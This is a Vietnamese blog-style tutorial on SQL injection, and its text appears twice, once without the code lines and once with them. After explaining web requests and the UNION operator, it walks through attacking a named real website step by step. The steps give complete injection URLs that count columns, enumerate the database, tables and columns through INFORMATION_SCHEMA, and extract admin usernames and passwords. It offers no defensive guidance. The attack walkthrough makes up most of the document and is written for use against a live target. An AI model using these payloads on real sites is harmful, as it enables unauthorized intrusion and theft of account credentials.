SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng
lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các
thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để Inject (tiêm vào)
và thi hành các câu lệnh SQL bất hợp pháp.
SQL Injection còn có thể cho phép những kẻ tấn công thực hiện các
thao tác delete, insert, update,… trên cơ sỡ dữ liệu của ứng dụng, thậm
chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các
ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu
như SQL Server, MySQL, Oracle, DB2, Sysbase...
I. Mô hình hoạt động của một Website
Khi muốn xem một trang web nào đó, người dùng từ máy tính của mình đánh một địa chỉ trang web trên thanh địa chỉ của trình duyệt. Khi đó sẽ xảy ra quá trình như sau:
1 - Khi người dùng ấn Enter thì trình duyệt sẽ chuyển yêu cầu này đến WebServer ( WebServer hay còn gọi là Host là nơi chứa Website của một doanh nghiệp, một tổ chức hay cá nhân nào đó ).
2 - WebServer sau khi nhận được yêu cầu từ người dùng sẽ sử dụng các chương trình như PHP, ASP... lấy dữ liệu trong database (cơ sở dữ liệu).
3 - Các chương trình này sau đó sẽ trả dữ liệu về lại cho WebServer xử lý.
4 - WebServer sau đó sẽ hiển thị dữ liệu này lên trang web đã được thiết kế sẵn với html và css.
5 - Cuối cùng trang web này được trả về cho người dùng xem.
II. Tấn công SQL Injection
- Từ dưới máy tính Hacker sẽ gửi một yêu cầu đến WebServer, yêu cầu này được Hacker inject (tiêm) vào các câu lệnh "không an toàn", các câu lệnh này chủ yếu nhắm đến việc lấy các dữ liệu quan trọng như thông tin tài khoản, thông tin đơn hàng, tài khoản thanh toán...
- Khi yêu cầu này được gửi tới WebServer, thông qua các câu lệnh đã được inject, các chương trình như PHP, ASP sẽ lấy các dữ liệu mà Hacker cần trong database .
- Dữ liệu sau đó được trả về cho WebServer xử lý. Và với các câu lệnh của mình, Hacker làm cho các dữ liệu đó lần lượt được hiển thị ra màn hình.
- Khi đã có dữ liệu, Hacker có thể đăng nhập với quyền Admin và kiểm soát trang web.
III. Câu lệnh UNION và UNION ALL
Đây là câu lệnh được Hacker sử dụng để tiêm vào các request, từ đó lấy các dữ liệu quan trọng trong database.
UNION và UNION ALL đều dùng để hợp hai tập bản ghi cùng cấu trúc, nhưng giữa hai mệnh đề có một khác biệt khá tinh tế: UNION loại bỏ các bản ghi trùng lặp trước khi trả lại kết quả, còn UNION ALL giữ lại tất cả các bản ghi từ hai tập ban đầu.
Ví dụ:
Để sử dụng được lệnh UNION, cần thỏa mãn các điều kiện sau:
- Số cột của mỗi câu truy vấn SELECT phải bằng nhau.
- Kiểu dữ liệu của mỗi cột trong câu SELECT này phải giống với kiểu dữ liệu của cột tương ứng trong câu SELECT kia hay tối thiểu cũng có thể chuyển đổi được
IV. Quá trình tấn công SQL Injection
Như đã nói ở trên, Hacker sẽ gửi các request với các câu lệnh được tiêm vào để thực hiện tấn công Sql Injection.
Vậy các request này có cấu trúc như thế nào? và WebServer sẽ xử lý các request này ra sao để lấy dữ liệu trong database?
- Có nhiều cấu trúc link (request) khác nhau, nhưng cấu tạo link bị SQL Injection thường có cấu trúc:
Ví dụ:
http://www.nhatnghe.com/?id=thietkeweb
Tên tham số ở ví dụ trên là id, giá trị của tham số là thietkeweb.
- Khi request được gửi tới WebServer, nó sẽ lấy các tham số làm dữ liệu để truy vấn database.
Xét tiếp ví dụ trên, khi request này được gửi tới WebServer nó sẽ lấy tham số id với giá trị thietkeweb để thực hiện câu lệnh truy vấn SQL:
Thăm dò lỗi SQL Injection dựa trên phản hồi
Để biết một link có bị lỗi SQL Injection hay không, cách đơn giản nhất là ta thêm dấu nháy đơn vào vị trí giá trị của tham số rồi gửi request.
Ví dụ:
Với link: http://www.nhatnghe.com/?id=thietkeweb . Ta xóa chữ thietkeweb đi và đánh vào dấu nháy đơn, ta được: http://www.nhatnghe.com/?id='
Câu lệnh SQL lúc này là:
Rõ ràng câu SQL này bị cảnh báo lỗi trong MySQL
Và khi ta chạy request ta sẽ được cảnh báo lỗi giống như sau trên màn hình, lúc này thì ta biết có thể sử dụng SQL Injection:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\AppServ\www\sql_injection\index.php on line 23
Hoặc
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Thực hiện tấn công SQL Injection
Ta sẽ lấy trang www.5hchina.com làm ví dụ
Bước 1: Ta vào một đường link bất kỳ trong trang này. Ví dụ như http://www.5hchina.com/news_view.php?id=7379. Khi đó ta biết nó sẽ lấy một tin nào đấy có id là 7379.
Bước 2: Ta xóa số 7379 rồi thêm vào dấu nháy đơn rồi gửi request. Ta được
http://www.5hchina.com/news_view.php?id='
Lúc này sẽ hiện ra các thông báo lỗi..
Đến đây ta biết trang này bị lỗi SQL Injection. Ta sẽ tiêm các câu lệnh để lấy thông tin tài khoản admin.
Bước 3: Đếm số cột của bảng truy vấn
Như đã nói ở trên để sử dụng UNION ta phải có số cột của hai bảng phải bằng nhau. Ta tiến hành đếm số cột bằng cách thêm vào câu lệnh ORDER BY n . Với n tăng từ 1 đến một giá trị nào đấy mà với giá trị này trang sẽ hiển thị lỗi. Có trường hợp lúc đầu khi ORDER BY 1, ORDER BY 2,... vẫn hiển thị lỗi, nhưng số dòng hiển thị lỗi ít hơn là khi ORDER BY đến một giá trị mà số cột vượt qua số cột của bảng.
Ta thấy có 2 dòng hiển thị lỗi. Bình tĩnh cứ từ từ tăng n.
Khi tăng n đến 23 thì ta thấy số dòng lỗi tăng lên
Từ đó, ta suy ra chỉ có thể ORDER BY tới 22. Như vậy có tất cả là 22 cột.
Nói thêm, ORDER BY n [DESC/ASC] dùng để sắp xếp thứ tự tăng hay giảm của một cột nào đấy. ORDER BY 1 là sắp xếp cột 1 theo thứ tự tăng dần, ORDER BY 2 là sắp xếp cột 2 theo thứ tự tăng dần...(nếu không có tham số DESC hoặc ASC thì mặc định là tăng dần).
Bước 4: Chèn câu lệnh UNION
1. Đầu tiên ta sẽ sử dụng UNION để lấy tên cơ sở dữ liệu.
Cú pháp câu lệnh UNION để lấy tên cơ sở dữ liệu:
Áp dụng:
+ AND 1=2 : có tác dụng loại bỏ nội dung được lấy ra của câu SELECT đầu tiên, chúng ta chỉ quan tâm đến nội dung lấy ra của câu SELECT thứ hai.
+ Lưu ý: MySQL sử dụng tên của các cột trong câu lệnh SELECT đầu tiên làm tên cột của tập kết quả.
Các số được khoanh tròn chính là nội dung các cột của câu SELECT thứ 2, để lấy thông tin từ cột nào ta chỉ cần thay thế các số đó bằng tên cột cần lấy.
Ví dụ: ta sẽ thay thế cột thứ 3 bằng DATABASE().
Kết quả: Vị trí cột thứ 3 sẽ hiển thị tên database.
2. Lấy tên các bảng
Sau khi có tên của database, ta sẽ lấy tên các bảng của nó.
Cú pháp câu lệnh UNION để lấy tên bảng:
Ở đây ta nên chỉ rõ là lấy dữ liệu ở database nào bằng câu lệnh WHERE, có trường hợp họ sử dụng 2 database thì số bảng sẽ là của cả 2 database, do đó mình sẽ mất thời gian hơn để kiếm tên bảng cần thiết.
Áp dụng:
Kết quả: bảng đầu tiên ta nhận đươc là admuser
Để kiếm tên bảng tiếp theo, ta thêm câu lệnh LIMIT form,how_many vào cuối câu truy vấn, với form là lấy từ thằng thứ mấy, how_many là lấy bao nhiêu thằng.
Limit 0,1 : chính là lấy thằng đầu tiên
Limit 1,1 : từ thằng thứ 1 lấy ra 1 thằng.
Limit 2,1 : từ thằng thứ 2 lấy ra 1 thằng.
...
Áp dụng: Lấy bảng thứ 2 LIMIT 1,1
Kết quả bảng thứ 2 là: adminuser2
Ta tiếp tục kiếm thêm bảng account hay user gì đó nữa, cái này là do kinh nghiệm đoán bảng của bản thân. Nhưng ở đây ta có bảng admuser là ok rồi.
3. Lấy tên các cột của bảng admuser
Sau khi đã có tên bảng cần thiết, ta tiến hành lấy tên các cột trong bảng đó.
Cú pháp lấy tên cột của bảng
Áp dụng:
Kết quả ta nhận được là tên cột đầu tiên của bảng admuser là : id
Để lấy tên cột thứ 2 ta tiếp tục sử dụng câu lệnh LIMIT như ở trên.
LIMIT 1,1 : ta nhận được cột username
LIMIT 2,1 : ta nhận được cột password
Vậy tổng kết lại ta được như sau:
- Database : 5hchina
- Bảng : admuser
- Các cột id, username, password.
Bước 5: Lấy thông tin tài khoản admin
Sau khi đã có đầy đủ thông tin về tên database, tên bảng, tên cột cần thiết ta bắt đầu lấy thông tin. Ta sử dụng câu truy vấn
Hàm CONCAT(username,0x3a,password): là hàm nối chuỗi trong SQL, 0x3a là dấu ":"
Kết quả: ta lấy được thông tin tài khoản đầu tiên
Ta LIMIT tiếp để tìm thêm các tài khoản khác.
I. Mô hình hoạt động của một Website
Mô hình hoạt động của một Website
Khi muốn xem một trang web nào đó, người dùng từ máy tính của mình đánh một địa chỉ trang web trên thanh địa chỉ của trình duyệt. Khi đó sẽ xảy ra quá trình như sau:
1 - Khi người dùng ấn Enter thì trình duyệt sẽ chuyển yêu cầu này đến WebServer ( WebServer hay còn gọi là Host là nơi chứa Website của một doanh nghiệp, một tổ chức hay cá nhân nào đó ).
2 - WebServer sau khi nhận được yêu cầu từ người dùng sẽ sử dụng các chương trình như PHP, ASP... lấy dữ liệu trong database (cơ sở dữ liệu).
3 - Các chương trình này sau đó sẽ trả dữ liệu về lại cho WebServer xử lý.
4 - WebServer sau đó sẽ hiển thị dữ liệu này lên trang web đã được thiết kế sẵn với html và css.
5 - Cuối cùng trang web này được trả về cho người dùng xem.
II. Tấn công SQL Injection
Tấn công SQL Injection
- Từ dưới máy tính Hacker sẽ gửi một yêu cầu đến WebServer, yêu cầu này được Hacker inject (tiêm) vào các câu lệnh "không an toàn", các câu lệnh này chủ yếu nhắm đến việc lấy các dữ liệu quan trọng như thông tin tài khoản, thông tin đơn hàng, tài khoản thanh toán...
- Khi yêu cầu này được gửi tới WebServer, thông qua các câu lệnh đã được inject, các chương trình như PHP, ASP sẽ lấy các dữ liệu mà Hacker cần trong database .
- Dữ liệu sau đó được trả về cho WebServer xử lý. Và với các câu lệnh của mình, Hacker làm cho các dữ liệu đó lần lượt được hiển thị ra màn hình.
- Khi đã có dữ liệu, Hacker có thể đăng nhập với quyền Admin và kiểm soát trang web.
III. Câu lệnh UNION và UNION ALL
Đây là câu lệnh được Hacker sử dụng để tiêm vào các request, từ đó lấy các dữ liệu quan trọng trong database.
UNION và UNION ALL đều dùng để hợp hai tập bản ghi cùng cấu trúc, nhưng giữa hai mệnh đề có một khác biệt khá tinh tế: UNION loại bỏ các bản ghi trùng lặp trước khi trả lại kết quả, còn UNION ALL giữ lại tất cả các bản ghi từ hai tập ban đầu.
Ví dụ:
CREATE TABLE #test1(id INT, txt VARCHAR(10) ) CREATE TABLE #test2(id INT, txt VARCHAR(10) ) GO INSERT #test1 VALUES(1,'a1') INSERT #test1 VALUES(2,'a2') INSERT #test2 VALUES(1,'a1') -- trùng với một bản ghi của #test1 INSERT #test2 VALUES(3,'a3') -- UNION SELECT * FROM #test1 UNION SELECT * FROM #test2 id txt ----------- ---------- 1 a1 2 a2 3 a3 (3 ROW(s) affected) -- UNION ALL SELECT * FROM #test1 UNION ALL SELECT * FROM #test2 id txt ----------- ---------- 1 a1 2 a2 1 a1 3 a3 (4 ROW(s) affected)
Để sử dụng được lệnh UNION, cần thỏa mãn các điều kiện sau:
- Số cột của mỗi câu truy vấn SELECT phải bằng nhau.
- Kiểu dữ liệu của mỗi cột trong câu SELECT này phải giống với kiểu dữ liệu của cột tương ứng trong câu SELECT kia hay tối thiểu cũng có thể chuyển đổi được
IV. Quá trình tấn công SQL Injection
Như đã nói ở trên, Hacker sẽ gửi các request với các câu lệnh được tiêm vào để thực hiện tấn công Sql Injection.
Vậy các request này có cấu trúc như thế nào? và WebServer sẽ xử lý các request này ra sao để lấy dữ liệu trong database?
- Có nhiều cấu trúc link (request) khác nhau, nhưng cấu tạo link bị SQL Injection thường có cấu trúc:
www.tentrangweb.tenmien?val1=giatri1&val2=giatri2&...Đằng sau dấu "?" chính là các tham số sẽ được gửi lên WebServer.
Ví dụ:
http://www.nhatnghe.com/?id=thietkeweb
Tên tham số ở ví dụ trên là id, giá trị của tham số là thietkeweb.
- Khi request được gửi tới WebServer, nó sẽ lấy các tham số làm dữ liệu để truy vấn database.
Xét tiếp ví dụ trên, khi request này được gửi tới WebServer nó sẽ lấy tham số id với giá trị thietkeweb để thực hiện câu lệnh truy vấn SQL:
SELECT * FROM tin WHERE id = 'thietkeweb'Như vậy nó sẽ trả về tất cả các tin thuộc chủ đề thiết kế web
Thăm dò lỗi SQL Injection dựa trên phản hồi
Để biết một link có bị lỗi SQL Injection hay không, cách đơn giản nhất là ta thêm dấu nháy đơn vào vị trí giá trị của tham số rồi gửi request.
Ví dụ:
Với link: http://www.nhatnghe.com/?id=thietkeweb . Ta xóa chữ thietkeweb đi và đánh vào dấu nháy đơn, ta được: http://www.nhatnghe.com/?id='
Câu lệnh SQL lúc này là:
SELECT * FROM tin WHERE id='
Rõ ràng câu SQL này bị cảnh báo lỗi trong MySQL
ERROR: Unclosed quote @ 32 STR: ' SQL: SELECT * FROM `tin` WHERE id='
Và khi ta chạy request ta sẽ được cảnh báo lỗi giống như sau trên màn hình, lúc này thì ta biết có thể sử dụng SQL Injection:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\AppServ\www\sql_injection\index.php on line 23
Hoặc
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Thực hiện tấn công SQL Injection
Ta sẽ lấy trang www.5hchina.com làm ví dụ
Trang chủ của www.5hchina.com
Bước 1: Ta vào một đường link bất kỳ trong trang này. Ví dụ như http://www.5hchina.com/news_view.php?id=7379. Khi đó ta biết nó sẽ lấy một tin nào đấy có id là 7379.
Nội dung trang http://www.5hchina.com/news_view.php?id=7379
Bước 2: Ta xóa số 7379 rồi thêm vào dấu nháy đơn rồi gửi request. Ta được
http://www.5hchina.com/news_view.php?id='
Lúc này sẽ hiện ra các thông báo lỗi..
Các thông báo lỗi SQL Injection
Đến đây ta biết trang này bị lỗi SQL Injection. Ta sẽ tiêm các câu lệnh để lấy thông tin tài khoản admin.
Bước 3: Đếm số cột của bảng truy vấn
Như đã nói ở trên để sử dụng UNION ta phải có số cột của hai bảng phải bằng nhau. Ta tiến hành đếm số cột bằng cách thêm vào câu lệnh ORDER BY n . Với n tăng từ 1 đến một giá trị nào đấy mà với giá trị này trang sẽ hiển thị lỗi. Có trường hợp lúc đầu khi ORDER BY 1, ORDER BY 2,... vẫn hiển thị lỗi, nhưng số dòng hiển thị lỗi ít hơn là khi ORDER BY đến một giá trị mà số cột vượt qua số cột của bảng.
http://www.5hchina.com/news_view.php?id=7373 ORDER BY 1
Ta thấy có 2 dòng hiển thị lỗi. Bình tĩnh cứ từ từ tăng n.
Khi tăng n đến 23 thì ta thấy số dòng lỗi tăng lên
Từ đó, ta suy ra chỉ có thể ORDER BY tới 22. Như vậy có tất cả là 22 cột.
Nói thêm, ORDER BY n [DESC/ASC] dùng để sắp xếp thứ tự tăng hay giảm của một cột nào đấy. ORDER BY 1 là sắp xếp cột 1 theo thứ tự tăng dần, ORDER BY 2 là sắp xếp cột 2 theo thứ tự tăng dần...(nếu không có tham số DESC hoặc ASC thì mặc định là tăng dần).
Bước 4: Chèn câu lệnh UNION
1. Đầu tiên ta sẽ sử dụng UNION để lấy tên cơ sở dữ liệu.
Cú pháp câu lệnh UNION để lấy tên cơ sở dữ liệu:
SELECT idTin, TieuDe FROM tin WHERE id=123
UNION
SELECT 1,DATABASE() FROM INFORMATION_SCHEMA.TABLES
Bảng INFORMATION_SCHEMA.TABLES là một bảng trong hệ quản trị cơ sở dữ liệu mà chứa thông tin về các database.Áp dụng:
http://www.5hchina.com/news_view.php?id=7379 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM INFORMATION_SCHEMA.TABLES
+ AND 1=2 : có tác dụng loại bỏ nội dung được lấy ra của câu SELECT đầu tiên, chúng ta chỉ quan tâm đến nội dung lấy ra của câu SELECT thứ hai.
+ Lưu ý: MySQL sử dụng tên của các cột trong câu lệnh SELECT đầu tiên làm tên cột của tập kết quả.
Các số được khoanh tròn chính là nội dung các cột của câu SELECT thứ 2, để lấy thông tin từ cột nào ta chỉ cần thay thế các số đó bằng tên cột cần lấy.
Ví dụ: ta sẽ thay thế cột thứ 3 bằng DATABASE().
http://www.5hchina.com/news_view.php?id=7379 AND 1=2 UNION SELECT 1,2,DATABASE(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM INFORMATION_SCHEMA.TABLES
Kết quả: Vị trí cột thứ 3 sẽ hiển thị tên database.
2. Lấy tên các bảng
Sau khi có tên của database, ta sẽ lấy tên các bảng của nó.
Cú pháp câu lệnh UNION để lấy tên bảng:
SELECT idTin, TieuDe FROM tin WHERE id=123
UNION
SELECT 1,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE()
Ở đây ta nên chỉ rõ là lấy dữ liệu ở database nào bằng câu lệnh WHERE, có trường hợp họ sử dụng 2 database thì số bảng sẽ là của cả 2 database, do đó mình sẽ mất thời gian hơn để kiếm tên bảng cần thiết.
Áp dụng:
http://www.5hchina.com/news_view.php?id=7379 AND 1=2 UNION SELECT 1,2,TABLE_NAME,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE()
Kết quả: bảng đầu tiên ta nhận đươc là admuser
Để kiếm tên bảng tiếp theo, ta thêm câu lệnh LIMIT form,how_many vào cuối câu truy vấn, với form là lấy từ thằng thứ mấy, how_many là lấy bao nhiêu thằng.
Limit 0,1 : chính là lấy thằng đầu tiên
Limit 1,1 : từ thằng thứ 1 lấy ra 1 thằng.
Limit 2,1 : từ thằng thứ 2 lấy ra 1 thằng.
...
Áp dụng: Lấy bảng thứ 2 LIMIT 1,1
http://www.5hchina.com/news_view.php?id=7379 AND 1=2 UNION SELECT 1,2,TABLE_NAME,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE() LIMIT 1,1
Kết quả bảng thứ 2 là: adminuser2
Ta tiếp tục kiếm thêm bảng account hay user gì đó nữa, cái này là do kinh nghiệm đoán bảng của bản thân. Nhưng ở đây ta có bảng admuser là ok rồi.
3. Lấy tên các cột của bảng admuser
Sau khi đã có tên bảng cần thiết, ta tiến hành lấy tên các cột trong bảng đó.
Cú pháp lấy tên cột của bảng
SELECT idTin, TieuDe FROM tin WHERE id=123
UNION
SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'tên_bảng'
Áp dụng:
http://www.5hchina.com/news_view.php?id=7379 AND 1=2 UNION SELECT 1,2,COLUMN_NAME,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'admuser'
Kết quả ta nhận được là tên cột đầu tiên của bảng admuser là : id
Để lấy tên cột thứ 2 ta tiếp tục sử dụng câu lệnh LIMIT như ở trên.
LIMIT 1,1 : ta nhận được cột username
LIMIT 2,1 : ta nhận được cột password
Vậy tổng kết lại ta được như sau:
- Database : 5hchina
- Bảng : admuser
- Các cột id, username, password.
Bước 5: Lấy thông tin tài khoản admin
Sau khi đã có đầy đủ thông tin về tên database, tên bảng, tên cột cần thiết ta bắt đầu lấy thông tin. Ta sử dụng câu truy vấn
http://www.5hchina.com/news_view.php?id=7379 AND 1=2 UNION SELECT 1,2,CONCAT(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM admuser LIMIT 0,1
Hàm CONCAT(username,0x3a,password): là hàm nối chuỗi trong SQL, 0x3a là dấu ":"
Kết quả: ta lấy được thông tin tài khoản đầu tiên
Ta LIMIT tiếp để tìm thêm các tài khoản khác.
Như vậy khi người ta không cho hiển thị thông báo lổi thì mình không thể áp dụng phương pháp này phải không A ??
Trả lờiXóa